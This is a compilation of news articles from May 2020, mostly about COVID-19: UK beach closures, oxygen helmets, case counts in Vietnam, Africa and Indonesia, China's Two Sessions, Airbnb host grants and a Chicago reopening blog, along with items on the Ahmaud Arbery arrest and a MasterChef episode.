Councillor Carmen Appich, from Brighton and Hove City Council, said on Friday: We are so proud of the city we share but to promote Brighton and Hove as a place to visit at this time would be utterly irresponsible and an insult to the NHS staff and frontline workers who have protected the whole county throughout this devastating crisis.

We urge anyone thinking of travelling to the city at this time to consider very carefully how their journey will impact on others and what sort of experience they will have when they arrive, without access to the usual high standards of hospitality.

Elsewhere, Hastings Borough Council has said the area is closed to visitors from outside the town.

People enjoy the afternoon sunshine on Hampstead Heath in north London / AFP via Getty Images

Holidaymakers are similarly being told that the clear advice from the Isle of Wight Council is they should stay away.

After pictures showed crowds at Southend in Essex earlier this week, the councils leader said the easing of lockdown restrictions has put the council in a very difficult position.

Councillor Ian Gilbert said on Friday: We want people to think twice before visiting and ask if their journey here is really necessary?

For many weeks we ran a successful Dont Visit Southend campaign, but the Governments lifting of restrictions have put us in a very difficult position as day trips and sunbathing are allowed, and takeaways can be open for business.

UK returns to work as Coronavirus restrictions are eased - In pictures 1 /38 UK returns to work as Coronavirus restrictions are eased - In pictures Londoners returning to work near London Bridge Jeremy Selwyn Emergency as Lockdown is slowly lifted at Victoria Station Nigel Howard Cyclists travel in central London AFP via Getty Images Emergency as Lockdown is slowly lifted at Victoria Station Nigel Howard Alan Price on his Penny Farthing this morning on Battersea Bridge Jeremy Selwyn Delivery men are seen outside a reopened McDonald's with take-out only deliveries in Dalston Reuters Jubilee Line tube commuters as lockdown eases Nigel Howard Worlds End Nurseries in Chelsea opens for business. Customer Nika Kucifer is shown flowers by Janson Lotery Nigel Howard Londoners going back to work at Waterloo Jeremy Selwyn People ride bicycles in a cycle lane in Chelsea PA Jubilee Line tube commuters as lockdown eases Nigel Howard Londoners going back to work at Vauxhall Jeremy Selwyn Jubilee Line tube commuters as lockdown eases Nigel Howard Jubilee Line tube commuters as lockdown eases. Nigel Howard Matt Writtle Londoners going back to work at Vauxhall Jeremy Selwyn Vehicles are seen on the M56 motorway near Manchester, Reuters Londoners going back to work at Waterloo Jeremy Selwyn Londoners going back to work at Vauxhall Jeremy Selwyn Londoners going back to work at Vauxhall Jeremy Selwyn Monty's first day back. West Highland Terrier Monty commutes to work on his bike on his first day back with owner Darragh McElroy. Monty, who's Instagram account is @monty_whitehall_westie, works at the Cabinet Office in Whitehall with his owner Darragh who is Deputy Director of Coronavirus Communications at the Cabinet Office Matt Writtle Londoners going back to work at Vauxhall Jeremy Selwyn A commuter wears a mask at Canning Town station Reuters Rush hour on the M6 at the junction for Birmingham/Walsall on the first morning of the eased Coronavirus lockdown PA Londoners going back to work at Vauxhall Jeremy Selwyn Commuters, some wearing masks are seen on a London Underground tube, following the outbreak of the coronavirus disease Reuters Londoners going back to work at Vauxhall Jeremy Selwyn Commuters, some wearing masks are seen at Stratford station, Reuters Cyclists in Chelsea today. Nigel Howard

In London, the Metropolitan Police warned that officers will take action against those who disregard restrictions.

We expect that members of the public will be going outside this weekend to enjoy open spaces alone, with members of their household or another member of a different household, but we ask that they respect the lockdown restrictions that are in place," Deputy Assistant Commissioner Laurence Taylor said.

Beaches have been busy in recent days as the UK enjoys warm weather / PA

We have been made aware of a number of proposed plans for gatherings this weekend and we can only reiterate the importance of sticking to the Government guidelines.

Restrictions around activities that do not support social distancing remain the same, meaning that group sport, outdoor barbeques or parties, and other gatherings are still not permitted.

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Officers out on patrol this weekend will continue to encourage and support our communities to comply with the restrictions to reduce the risk to public health.

We do not wish to use means of enforcement, but where deemed necessary, officers will take action against those that disregard restrictions and enforcement will be sought as a very last resort.

The vast majority of the public have been adhering to the restriction set by the Government and we thank them for their continued efforts to observe the revised rules.

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After seeing the number of people who headed to its coastline this week, Sefton Council in Merseyside has adopted a new campaign ahead of the bank holiday weekend.

Wish you werent here! is the councils take on the picture postcard message it is sending to people thinking of travelling to its beaches from across the North West.

A number of councils have told Brits to stay away / PA

And the leaders of three local authorities bordering Morecambe Bay have also asked people to think twice before visiting the area.

In Cornwall, council leaders have warned there is no lifeguard cover and a large coastal swell and spring tide will bring hazardous sea conditions over the weekend.

Rob Nolan, cabinet member for environment and public protection at Cornwall Council, said: Some restrictions about exercising have been lifted, but we have no lifeguard cover yet, so beach safety is a real concern.

He said social distancing could be an issue on busy beaches and in car parks.

This is really not the time to overwhelm our beaches  facilities such as public toilets arent open yet, and with no trained lifeguards in post on the shore, any coastal incidents risk calling out a Lifeboat crew, Mr Nolan added.

This is unnecessary and means a Covid-19 contact risk for both victims and rescuers.

He said people should not be holidaying in Cornwall and must return to their principle residence each night.
Mauricio Cereda, an intensive-care specialist at the Hospital of the University of Pennsylvania and Penn Presbyterian Hospital, models the space-age helmet that he says can be a key tool to fight coronavirus. Read more

At the height of Italys pitched battle with the coronavirus, newscast footage from an overwhelmed hospital resembled a science-fiction film. Dozens of patients, in a hallway crowded with beds and wheelchairs, were wearing strange, transparent bell-shaped helmets.

One of the obstacles to their use is that theyre weird, said Maurizio Cereda, a proponent of the headgear and an intensive-care specialist at the Hospital of the University of Pennsylvania and Penn Presbyterian Medical Center. They look like something Capt. Kirk wears in Star Trek.

Months after the coronavirus crossed the Atlantic, those odd plastic hoods have appeared as well. And increasingly, thanks in part to the efforts of physicians like Cereda, the devices are being manufactured here and used by U.S. hospitals.

The oxygen hoods, which have been used in Italy for more than 30 years, function as mini-hyperbaric chambers, pumping pressurized oxygen into disease-compromised lungs and filtering out contaminants. Theyre leak-free, cheap, and reusable. And because theyre self-contained, they protect hospital staff from the breath of patients.

COVID-19 attacks the lungs and its victims frequently develop serious breathing problems. The most seriously afflicted are intubated  a breathing tube is inserted in the windpipe  and placed on expensive ventilators. Those not as seriously ill often are administered oxygen through cumbersome face masks.

Those masks create all sorts of problems, said Cereda, co-director of Penns surgical intensive care unit. Over the years, the design has improved, but you still cant wear them for 24 hours. You cant talk. You get sores on the face.

Prompted by the coronavirus arrival here, Cereda and two colleagues  respiratory therapist Michael Frazer and pulmonologist Barry Fuchs  urged Penns health-care system to acquire several hundred. So far, Cereda said, about 75 patients have used them successfully at HUP and Presbyterian.

 READ MORE: Pa.s largest nurses union accuses hospitals of misinforming state officials about protective equipment

The transparent coverings are placed over the head and sealed at the neck, where a pair of tubes are connected. They can be extremely noisy, but their benefits are causing hospitals to look seriously at them. The helmets can reduce the number of patients requiring ventilators. While a ventilator costs from $25,000 to $50,000, a helmet typically sells for $150 to $175. And with proper cleaning, it can be used over and over again.

Im not saying its a miracle, Cereda said. It doesnt replace ventilators. But you use it to keep people from needing to use a ventilator. Once you go on a ventilator, because you need sedation and a lot of other things, your chances of survival are already lower. Its better to get off a ventilator if you can.

According to a study published in 2016 in the Journal of the American Medical Association, patients using the headgear needed ventilation 18% of the time, while the figure was 62% for traditional oxygen masks. Penn is moving forward on its own study.

The Penn physician first encountered the devices in the early 1990s when he was a medical student in his native Italy. In the Milan hospital where he studied and worked, patients suffering from acute respiratory failure were being fitted with the helmets.

Over there it was our go-to device for patients who were not sick enough to require a breathing tube or ventilator right away, but needed more than just an oxygen mask, he said.

 READ MORE: Amid coronavirus progress, still very real risk; get used to wearing a mask, Philly health leader says

Cereda arrived in the United States in 1999, and as far back as 2006 hoped to import the devices. The Food and Drug Administration had approved them for hyperbaric medical uses, but broadening that authorization process proved complex. Cereda eventually dropped his efforts, but continued to tout them to colleagues and hospital administrators.

I was hoping to be able to use them anywhere, on ambulances, on hospital floors, he said. But whenever I talked about them, they thought it sounded weird. People were like, `Oh, thats not going to work. Its too uncomfortable. But you have to know how to put it on the patient.

As the coronavirus ravaged Italy, former colleagues were telling Cereda that they had as many 200 patients in helmets. Finally, in March, with the FDA having granted emergency approval, a supply reached Philadelphia. Within two weeks, the staffs at HUP and Presbyterian were trained and using them.

Originally intended to run through ventilators, the design has been modified and the hoods can now be connected to a hospitals oxygen-supply system. Since the pandemic struck here, facilities in Massachusetts, New York, Illinois, Maryland, and elsewhere have utilized them.

Its getting some real traction, said Cereda.

This sudden demand put a strain on the two FDA-approved manufacturers in the U.S. One, Sea-Long Health Care Systems in Waxahachie, Texas, has had to double its staff and quadruple production.

Sea-Longs founder, Chris Austin, said that in addition to all the new U.S. business, the company has filled orders for hospitals in Europe, Canada, and Mexico, and is hoping to produce 50,000 a week.

To say weve been overwhelmed would be an understatement, said Austin.
Illustrative image (Photo: VNA)

The national tally stands at 324, including 184 imported cases that were quarantined upon arrival, according to the committee.

Two patients were discharged from the National Hospital for Tropical Diseases after making complete recovery on the day. One of them is a 44-year-old woman, a staff member of Truong Sinh Ltd., Co., whose test result turned positive after she recovered on April 16. The other is from Ha Loi village, Me Linh commune, Hanoi.

A total of 266 out of 324 patients have recovered as updated on May 21 evening. The remainder are being treated at nine national and provincial medial facilities, with four testing negative once for SARS-CoV-2, the novel coronavirus that causes the acute respiratory disease, and four negative at least twice.

Nearly 12,990 people who had close contact with COVID-19 patients or returned from pandemic-hit areas are under health monitoring, of whom 307 stay at hospitals, 7,663 at other concentrated facilities and 5,047 at home and place of residence.
Yesterday, Trump was asked about his threat to halt federal funding to Michigan because of their plan to encourage Michiganders to vote by mail. Trump doesnt want that. He wants fewer people to vote, and he also wants to be able to claim fraud if he loses. But thats not the weird thing. The weird thing is while doing it for the umpteenth time, he made the unsubstantiated claim that Michigan once named him Man of the Year.  JIMMY KIMMEL

He remembers it so well, but there is no evidence he was ever honored with an award like that of any kind. This has been investigated extensively and it would appear, and youre not gonna believe this, it would appear he made it up. He was never Man of the Year. But that doesnt mean he wont say he was every single chance he gets.  JIMMY KIMMEL

According to former Congressman Dave Trott, the man who presented Trump with the thing he remembers so well, there was no Michigan Man of the Year award. What he gave Trump was a framed copy of President Lincolns Gettysburg Address. [as Trump] I want to thank President Lincoln for naming me Michigans man of the year. This reminds of the time the D.M.V. gave me a beautiful plastic card naming me Peoples Sexiest Man Alive." I keep it in my wallet with the Applebees coupon naming me the pope of chicken wings.  STEPHEN COLBERT
Addis Ababa, May 22 (IANS) The number of confirmed COVID-19 positive cases across Africa surpassed 95,000 as of Thursday afternoon, the Africa Centres for Disease Control and Prevention (Africa CDC) said.

The Africa CDC, specialized healthcare agency of the 55-member African Union (AU), in its latest situation update issued on Thursday revealed that the number of confirmed COVID-19 positive cases across the continent rose from 91,598 on Wednesday to 95,201 as of Thursday afternoon, registering about 3,603 new cases during the stated period, Xinhua reported.

The death toll due to the COVID-19 pandemic across the African continent also surged from 2, 912 on Wednesday afternoon to 2,997 as of Thursday afternoon, eventually registering about 85 new deaths during the past 24-hours period, according to the Africa CDC.

The Africa CDC also disclosed that some 38,075 people who have been infected with the COVID-19 have recovered across the continent as of Wednesday afternoon, registering some 2,267 new recoveries during the past 24-hours period.

The continental disease control and prevention agency also noted that the virus has so far spread into all of the 54 African countries.

Figures from the Africa CDC also show that amid the rapid spread of the virus across the continent, the highly COVID-19 affected African countries include South Africa with 18,003 confirmed cases, Egypt with 14,229 confirmed cases, Algeria with 7,542 confirmed cases as well as Morocco with 7,133 confirmed cases.

The Africa CDC also disclosed that the Northern African region is the most affected area across the continent both in terms of positive COVID-19 cases, as well as the number of deaths.

--IANS

pgh/
China is ready to work together with the United States on the implementation of the first part of the trade deal, that the parties signed in January, Chinese Premier Li Keqiang said in a statement.

He also noted that Beijing is ready to strengthen trade and economic cooperation with other countries to achieve mutual benefits, RIA Novosti reported.

The US and China signed the first part of the trade deal on January 15, under which Washington nevertheless retained duties of 25% on Chinese goods worth about $ 250 billion, along with 7.5% on goods worth $ 120 billion. The agreement stipulates that the Chinese side will purchase the US $ 75 billion worth of industrial goods, $ 50 billion worth of energy products, $ 40 billion worth of agricultural products, and China will have to spend another $ 35-40 billion over the next two years on services. The US expects to bring the imbalance in trade with China, which totaled hundreds of billions of dollars, to an 'honest' denominator.

Official Beijing and Washington continue to insist on their readiness to fulfill obligations under the trade deal, but the Chinese side accuses the US of pursuing a protectionist policy and thereby hindering the implementation of the deal, while the US has launched an investigation into how correct Beijing's policy was in the fight against COVID-19 and do not rule out serious consequences if China's guilt is proven.
It's a common staple in shopping trolleys around Australia each week.

And fans were left outraged when Indomie Mi Goreng noodles were left out of MasterChef's 'pimp my noodle' challenge on Thursday, and Maggi 2 Minutes Noodles were used instead.

Shortly after the episode aired judge Melissa Leong explained that the episode was filmed at the start of the coronavirus pandemic when shoppers flooded supermarkets and stripped shelves bare of essential goods.

'Yall bulk bought them out of circulation': MasterChef judge Melissa Leong (pictured) was forced to explain how panic buying nearly ruined the 'pimp my noodle' challenge on Thursday's episode after viewers complained that Mi Goreng wasn't included

'Before anyone asks, there are no IndoMie Mi Goreng noodles on the table because: a) it was the very early stages of COVID and yall bulk bought them out of circulation,' she wrote on Twitter.

She added: 'We needed to challenge these talented contestants a little further than the OG'.

Following her explanation, sheepish viewers admitted that they had contributed to the crisis.

Sorry! Following her explanation, sheepish viewers admitted that they had contributed to the crisis

'Considering I still have 18 packets of them in my cupboard... It's my fault,' one admitted.

Another added: 'I have seven packets and two rolls of toilet paper. I know where my priorities lie'.

'Haha, I ate four packets this morning,' confessed one.

That's different! Thursdays' episode of the hit Channel 10 cooking show swept aside it's usual array of elaborate and complicated dishes to make way for whipping up meals using instant noodles (Pictured are judges Andy Allen, Melissa Leong and Jock Zonfrillo)

Thursdays' episode of the hit Channel 10 cooking show swept aside it's usual array of elaborate and complicated dishes to make way for whipping up meals using instant noodles.

Contestants were given 15 minutes to 'pimp' up their chosen packet noodle.

Despite the humble ingredients, fan favourite Poh Ling Yeow still managed to pull an impressive gourmet lobster infused meal out of her hat.

Yum! Contestants were given 15 minutes to 'pimp' up their chosen packet noodle

Fellow contestant Jess Liemantara was the big winner on the night, amazing judges with her spicy pork and noodle soup.

'In 15 minutes you have managed to get an amazing amount of layered flavouring in that bowl mouth,' judge Jock Zonfrillo praise her.

'My mouth is tingling,' he added.

MasterChef: Back to Win continues on Sunday at 7.30pm on Channel 10
By IANS

MUMBAI: In the biggest move in the war against virus, the Maharashtra government will take control of up to 80 per cent beds in private hospitals run by charitable trusts for the treatment of Covid-19 patients for a period of 3 months till August, officials said on Friday.

The government has also imposed ceilings on treatment of around 270 procedures or surgeries for non-Covid cases, said an official from the health department.

While regular government rates would be applicable for the 80 per cent beds, the hospitals would be permitted to fix their charges for the remaining 20 per cent beds.

The move comes as the state touched a staggering 1,454 deaths and 41,642 Coronavirus cases to date, while 11,726 have been cured and sent home.

The decision was also prompted by many complaints of exorbitant bills churned out by private hospitals for treating Covid-19 patients allegedly taking advantage of the prevalent crisis situation.

The new rates that would be applicable for Covid-19 ICU beds with ventilator and isolation would be up to Rs 9,000 per day, but would exclude PPE cost, certain other interventional procedures, Covid-19 testing at actuals, specialized drugs to be charged as per MRP, and certain advanced tests.

Meanwhile, the state has readied 1,200 beds in St. Xaviers' College near Marine Lines and Mehboob Studios in Bandra to cater to Covid-19 patients, in addition to the Wuhan-style hospitals at Bandra Kurla Complex, NESCO Goregaon and NSCI Worli.

A health department official said the latest moves would greatly enhance the Covid-19 treatment facilities and infrastructure in the state as the cases continued to increase.
Source: Xinhua| 2020-05-22 00:04:04|Editor: huaxia

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-The Two Sessions, annual meetings of China's top legislature and its top political advisory body, had been held in March since 1985.

-The annual conferences were fixed on March 5 and 3, respectively, in 1998.

-This year marks the first time that the Two Sessions have been postponed since those dates were set in stone.

-But why must China hold the Two Sessions?

BEIJING, May 21 (Xinhua) -- The global fight against the COVID-19 is still ongoing. In China, as the situation is improving, the country will hold two crucial political meetings, the annual sessions of the National People's Congress (NPC) and the Chinese People's Political Consultative Conference (CPPCC) National Committee, starting May 21 in Beijing.



The meetings, known together as the Two Sessions, a window to observe China's development and an embodiment of Chinese democracy.



Every year, the Two Sessions cover China's essential economic and social development plans. It draws worldwide attention.

The assemblies offer journalists the opportunity to put questions to the Chinese premier and ministers.

The Two Sessions usually run in March. This year, however, due to COVID-19, they were postponed to late May.

The annual meetings will also be shorter than usual this year.

Interviews will be streamlined, and new methods, such as video link, will be used.

Why must China hold the Two Sessions?

The Two Sessions had been held in March since 1985.

The annual conferences of the NPC and CPPCC National Committee were fixed on March 5 and 3, respectively, in 1998.

This year is the first time that the Two Sessions have been postponed since those dates were set in stone.

As China's top legislature, the NPC deliberates and passes major laws, decides on major issues, and supervises the work of the State Council, the Supreme People's Court and the Supreme People's Procuratorate.

There are nearly 3,000 NPC deputies.

Deputies above the county level are elected by those at the next lower level, while deputies at county and township levels are directly elected by voters.

Females account for nearly a quarter of all NPC deputies.

Every ethnic group has its NPC deputy or deputies.

The CPPCC is an important institution of multi-party cooperation and political consultation led by the CPC.

Its national committee has more than 2,000 members, comprising CPC representatives, members of other political parties, and all walks of life.

NPC deputies and CPPCC members represent the voices and interests of different regions and groups.

NPC deputies submit motions and are the voice of the people they represent, while CPPCC members offer proposals to participate in the deliberation and administration of state affairs.

The Two Sessions are deemed as an embodiment of the vitality of socialist democracy with Chinese characteristics.

The convening of the Two Sessions indicates that China has made significant achievements in epidemic prevention and control.

This year, the Two Sessions have particular tasks.

2020 is the deadline for China to become a moderately prosperous society in all respects and to eradicate poverty. It is also a historic juncture in China's two centenary goals.

China's economy slowed in the first quarter, as a result of the epidemic, but it also showed excellent resilience as work and production resumed at a faster pace.

However, the global pandemic and economy remain grim and complicated, and China faces unprecedented development challenges.

At this critical time, the Two Sessions must oversee overall plans, unify minds, and increase national cohesion to achieve the country's important goals and tasks.



Some of the vital issues slated for discussion by the 5,000 national lawmakers and political advisors may include the "three tough battles," "Six Stables," and "Six Guarantees."

Not only are the Two Sessions crucial to China, but they also impact the wider world.

China will continue to extend reform and opening-up. Upholding the vision of building a community with a shared future for mankind, China will make more significant contributions to the COVID-19 fight and help activate the global economy.
Press Release

22 May 2020

On March 30th, we announced the Superhost Relief Fund to provide grants to tenured hosts who are facing financial challenges because of travel disruption and other impacts of the global COVID-19 crisis. Today, we are providing an update to let our community know that we have awarded $7.4 million in grants to over 4,000 hosts around the world. We continue to send out invitations and review applications in order to distribute the remaining $9.6 million in the Fund.

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The fund has a total of $17 million, which will be awarded in grants to hosts by the end of June. Airbnb employees started this fund in March with $1 million in donations out of their own pockets and the intention to provide direct assistance to hosts; Airbnb founders Joe, Nate and Brian personally contributed $9 million. Airbnb investors followed suit and contributed another $7 million.

The Fund was designed to support Superhosts who rent out their own home and need help paying their rent or mortgage, and long-tenured Experience hosts trying to make ends meet. We have sent over 15,000 invitations and reviewed thousands of applicationswe are moved by the stories our community has sent to us and asked for permission to share some of them with you.

"Since 2014, Airbnb has provided an invaluable supplemental income. As a social worker working with HIV/AIDS programs in Uganda, my salary is not sufficient to cover my day-to-day bills and educate my son. More recently, my son's father was diagnosed with cancer and sadly passed away in September 2019. Airbnb earnings helped pay for his medical treatment and now contribute to caring for his mother. Meeting new people and making lifelong friends through Airbnb has been a ray of sunshine. Receiving this grant is the silver lining in these very challenging times." - Jacqueline, Superhost on Airbnb, Uganda.

"Everything in Durango that is the reason people go there has been shut down or cancelled: the train, Trimble hot springs, river excursions, ski area, conventions, graduations. We are generally at full capacity during these times. Prior to Airbnb, my elderly mother, who helps me host, said she felt invisible and lonely. We miss meeting people and sharing stories. We also had to let go of employees who are like family. I deferred the mortgage but if this goes on too long I'm at risk of losing the house." - Kate, Superhost on Airbnb, USA.

We are sending out thousands of new invitations through the end of May, with a goal to award most grants by end of June or until the total fund resources are exhausted.* The fund will support thousands of Superhosts, but not all of them will receive invitations, which are prioritized according to several factors, like how long they have been a Superhost and how severely their Airbnb earnings have been impacted, for example. Grants range from $1,000 to $5,000 and don't need to be paid back. Please find more details at airbnb.com/superhostrelief.

* Grants reserved for Experience hosts may be awarded up to September 2020.
JAKARTA, Indonesia - Indonesia has seen a surge in coronavirus infections ahead of this this weekends celebrations marking the end of Ramadan, raising questions about the commitment to the virus fight from both the government and the public.

Indonesia has the most COVID-19 fatalities in Southeast Asia at more than 1,300 and on Thursday reported its highest one day count of new infections with 973. The country has reported nearly 21,000 infections, though actual numbers are thought to be far higher.

Health officials have blamed the surge in cases in the worlds fourth most populous nation on the public not taking proper precautions.

This illustrates peoples discipline in obeying health protocols in fighting the outbreak, said Achmad Yurianto, the national COVID-19 task force spokesman.

But politicians have also resisted the guidelines. So far, only four of Indonesias 34 provinces and 26 cities have applied large-scale social restriction, all with low levels of public compliance.

Popular markets such as Tanah Abang in the capital, Jakarta, were teeming with shoppers buying new childrens clothes ahead of Eid-al Fitr, which marks the end of the Islamic holy month of Ramadan. Security personnel were overwhelmed by thousands of shoppers and traders who ignored health protocols and physical distancing.

Im here for my kids. They will be ashamed if their friends wear new clothes during Eid while they dont, said Ida Farida, a mother of three.

Of course Im worried, she said when asked about possibly contracting the virus. But I leave it to God.

President Joko Widodo has said he will not yet ease large-scale social restrictions and insisted his government is aiming to keep citizens productive and safe.

We must coexist with COVID-19, Widodo said in a video statement last week. Living in peace with it does not mean we are giving up, but that we are adapting and this requiring strict health protocols.

His remarks came days after the Central Statistics Agency announced Indonesias economy grew just 2.9% in January-March, the slowest growth in almost two decades, as the pandemic made its effects felt in exports, investment and consumption in Southeast Asias largest economy.

Widodos administration has taken early steps toward loosening virus restrictions by allowing public transportation to resume, including airlines, at 50% of their capacity.

Yet on the first day public transport resumed, images circulated on social media of Jakartas main airport packed with thousands of passengers ignoring physical-distancing protocols.

Health experts have warned that the fight against COVID-19 is far from over, emphasizing that the countrys limited testing capabilities have made it harder to get an accurate picture of the true extent of the pandemic.

The government, nevertheless, has insisted the country must be ready to get back to normal by the end of July.

The government has set up a team to gauge which cities should ease restrictions amid growing economic pressures.

The reopening plan, which is still under development, aims to have shopping malls resume limited operations on June 8. That will be followed by reopening schools with staggered schedules.

As widely circulated draft of the plan said restaurants, bars, cafes and gyms would be allowed to start opening on July 6, with tight health protocols in place, followed by lifting restrictions on travel and public worship.

Doni Monardo, the COVID-19 task force chief, stressed that the plan was contingent on meeting public health metrics first, including a flattening of the number of new infections in an area.

Pandu Riono, an epidemiologist from the University of Indonesia, warned that reopening the economy prematurely could trigger a second wave of infections.
Man Who Filmed Shooting of Ahmaud Arbery Arrested, Charged With Murder

SAVANNAH, Ga.The Georgia man whose cellphone video of Ahmaud Arberys fatal shooting helped reignite the case was charged with murder on Thursday, making him the third person arrested more than two months after the slaying.

The Georgia Bureau of Investigation said 50-year-old William Roddie Bryan Jr. was arrested on charges of felony murder and criminal attempt to commit false imprisonment. No other details were given. The GBI said in a statement that it would hold a news conference Friday morning.

Arbery was slain Feb. 23 when a white father and son armed themselves and pursued him after spotting the 25-year-old black man running in their neighborhood. More than two months passed before authorities arrested Gregory McMichael, 64, and his son, Travis McMichael, 34, on charges of felony murder and aggravated assault. Gregory McMichael told police he suspected Arbery was a burglar and that Arbery attacked his son before being shot.

This image from video posted on Twitter on May 5, 2020, purports to show Ahmaud Arbery stumbling and falling to the ground after being shot as Travis McMichael stands by holding a shotgun in a neighborhood outside Brunswick, Ga., on Feb. 23, 2020. (Twitter via AP)

Bryan lives in the same subdivision just outside the port city of Brunswick, and the video he took from the cab of his vehicle helped stir a national outcry when it leaked online May 5.

The video quickly drew a strong reaction from Georgia Gov. Bryan Kemp, a Republican who called it absolutely horrific. The Georgia Bureau of Investigation soon took over the case from local police, and the arrests of the McMichaels followed on May 7.

Under Georgia law, a person can be charged with felony murder for committing any felony that causes the death of someone else. It does not require intent to kill and carries an automatic life sentence.

In the Glynn County police incident report on the shooting, Gregory McMichael told an officer that at one point Arbery began running back the direction from which he came and `Roddy attempted to block him which was unsuccessful. Its the only mention in the police report of any potential involvement by Bryan.

Bryans attorney, Kevin Gough, did not immediately return a phone message Thursday. He has previously insisted Bryan played no role in Arberys death.

Roddie Bryan is not now, and has never been, more than a witness to the shooting, Gough said in a statement on the case Monday. He is not a vigilante. Roddie did not participate in the horrific killing of this young man. Mr. Bryan has committed no crime, and bears no criminal responsibility in the death of Ahmaud Arbery.

Meanwhile, attorneys for Arberys parents cheered the news of Bryans arrest.

Lee Merritt, left, and Chris Stewart, attorneys for the mother of Ahmaud Arbery, are seen at a news conference in East Point, Georgia, on May 19, 2020. (Ron Harris/AP)

We called for his arrest from the very beginning of this process, attorneys S. Lee Merritt, Benjamin Crump and L. Chris Stewart said in a statement. His involvement in the murder of Mr. Arbery was obvious to us, to many around the country and after their thorough investigation, it was clear to the GBI as well.

Bryans video of the shooting was taken from the drivers seat of a vehicle following Arbery as he runs along a residential street. A pickup truck is parked in the road ahead of Arbery, with one man in the trucks bed and another standing beside the open drivers side door.

The video shows Arbery run around the truck to the right before he cuts back in front of it. Then a gunshot can be heard, followed by a second shot. Arbery can be seen punching a man holding what appears to be a shotgun, who then fires a third shot point-blank. Arbery staggers and falls face down in the street.

A cross with flowers and a letter A sits at the entrance to the Satilla Shores neighborhood where Ahmaud Arbery was shot and killed, in Brunswick, Ga., on May 7, 2020. (Sean Rayford/Getty Images)

Gregory McMichael retired last year after more than two decades as an investigator for the local prosecutors office. Because of those ties, Brunswick Judicial Circuit District Attorney Jackie Johnson recused herself from the case. Two outside prosecutors assigned the case have also stepped aside.

The McMichaels remain jailed in Glynn County waiting for a preliminary court hearing and for a judge to decide whether to free them on bond pending trial. Attorneys for the father and son have urged people not to rush to judgment in the case.

By Russ Bynum
The city of Chicago is on pace to begin cautiously reopening and ease restrictions on certain activities in early June, with outdoor dining at restaurants, barber shops, non-lakefront park buildings and libraries slated to resume limited business, Mayor Lori Lightfoot said Friday.

If safety measures can be put in place, Lightfoot also said the city could potentially reopen summer programs and allow private camps, religious services, gyms, museums and the lakefront later on in the summer. Schools, playgrounds, bars, stadiums and music venues will remain closed for now, she said.

Lightfoot also rejected President Donald Trumps call for the reopening of churches across the country, saying hes pandering to a base while running for re-election. Later in the afternoon, Gov. J.B. Pritzker also did not seem inclined to follow Trumps call.

Additionally on Friday, state health officials announced 2,758 new known infections of COVID-19 in Illinois and 110 additional confirmed deaths. That brings the statewide total to 105,444 cases and the death toll to 4,715 since the beginning of the outbreak.

Heres whats happening Friday with COVID-19 in the Chicago area and Illinois:

8 p.m.: Illinois stops providing historical data on COVID-19 in nursing homes, instead disclosing current outbreaks only

The state has stopped providing total numbers of novel coronavirus cases and deaths linked to long-term care facilities in Illinois, instead disclosing information only on homes with newer outbreaks.

The Illinois Department of Public Health changed its reporting criteria Friday to highlight nursing homes and other facilities that have had at least one new coronavirus case in the last 28 days. Information about homes that struggled with an outbreak earlier in the pandemic but havent had recent new cases no longer is being published.

For example, the Tribune reported May 15 that, for the first time, a nursing home outside the Chicago area had reported at least 20 deaths. That was Villa East in Sangamon County, which had 21 workers and residents die of the coronavirus.

But because Villa East had no new cases recently, it was excluded from this weeks reporting and those 21 deaths have disappeared from the public-facing data. The only downstate nursing home listed with 20 deaths now is Edwardsville Care Center in Madison County near St. Louis. It had one new COVID-19 case since the last public data release on May 15.

Our priority is to focus on those facilities currently experiencing an outbreak, and also to provide to the public the current status of COVID-19 in Illinois, department spokeswoman Melaney Arnold wrote in an email to reporters.

Its at least the second significant change to the way the health department makes COVID-19 data related to long-term care facilities available to the public. Last Friday, the department stopped publicly reporting probable cases of COVID-19 tied to the facilities and counted only cases that had been confirmed in labs. Read more here. Jennifer Smith Richards and Robert McCoppin

7:48 p.m.: Department of Justice declares its support of lawsuit challenging Pritzkers stay-at-home order

The Department of Justice intervened Friday in support of a challenge to Illinois stay-at-home coronavirus order, calling for the case to be transferred back to state court.

The U.S. attorney generals office filed a statement of interest in the case of Downstate Republican state Rep. Darren Bailey, writing, Plaintiff has set forth a strong case that the Orders exceed the authority granted to the Governor by the Illinois legislature.

Bailey had won an initial ruling last month to be freed from Gov. J.B. Pritzkers executive order shutting down most businesses and churches and requiring people to stay home except under limited circumstances. When Bailey asked to broaden that ruling to invalidate the order for all citizens statewide, the Illinois attorney general Thursday transferred the case to federal court, citing constitutional issues such as freedom of religion and due process.

The state was expected to have a better shot of protecting its lockdown order in federal court, where judges have ruled in several cases in favor of maintaining such orders in Illinois and elsewhere.

The case should be sent back to state court, the feds argued, because it raises claims only under state law, not the U.S. Constitution. Read more here. Robert McCoppin

5:10 p.m.: Chicago, youre probably not getting that haircut May 29

The coronavirus pandemic has been filled with uncertainty from the get-go. We didnt know anything about this virus and quickly learned its safest to just stay at home. Almost three months into the stay-at-home-order, we still dont have all of the answers.

According to phase three of Gov. J.B Pritzkers plan to reopen the state, which is on track to happen at the end of next week, nonessential businesses, including hair salons, may open with capacity limits.

In a press conference Friday afternoon, however, Mayor Lori Lightfoot said Chicago is on track to carefully reopen in early June. The city will be providing guidelines early next week for businesses reopening, Lightfoot said.

Some salons have booked and rebooked clients throughout the stay-at-home order. But clients shouldnt assume they will be going to a Chicago salon starting May 29, even if they have an appointment.

As weve seen in the past few weeks, policies can rapidly change, and nothing is set in stone in the state until we get closer to May 29 and see how the COVID-19 numbers look. Read more here. Hannah Herrera Greenspan

5:05 p.m.: 8 residents, 6 employees of Juvenile Temporary Detention Center test positive for COVID-19, officials say

Eight residents of the Juvenile Temporary Detention Center have tested positive this week for COVID-19, officials announced Friday. Six employees of the detention center have tested positive as well, according to a release from the Office of the Chief Judge.

Five of the residents who tested positive live in the same housing pod in the detention centers general population, officials said. This is the first time positive tests have been reported in that residential group.

The other three residents who tested positive were housed in a 14-day separation area for juveniles who are just arriving for detention at the facility.

Consistent with the Centers for Disease Control and Prevention guidelines, any juvenile in custody who tests positive is placed in medical isolation for 14 days in the medical unit, officials said.

A total of 21 employees and 14 residents have now tested positive for COVID-19 at the detention center. Officials have said any employee who tests positive must be medically cleared before returning to work.

With todays announcement, there are a total of 38 employees who have tested positive for COVID-19 who work under the Office of the Chief Judge, according to the release.

4:15 p.m.: State unemployment office notifying more than 32,000 gig workers whose personal information was possibly exposed

The states unemployment insurance office said Friday it would start more than 32,000 gig workers whose personal information may have been viewed during a security breach.

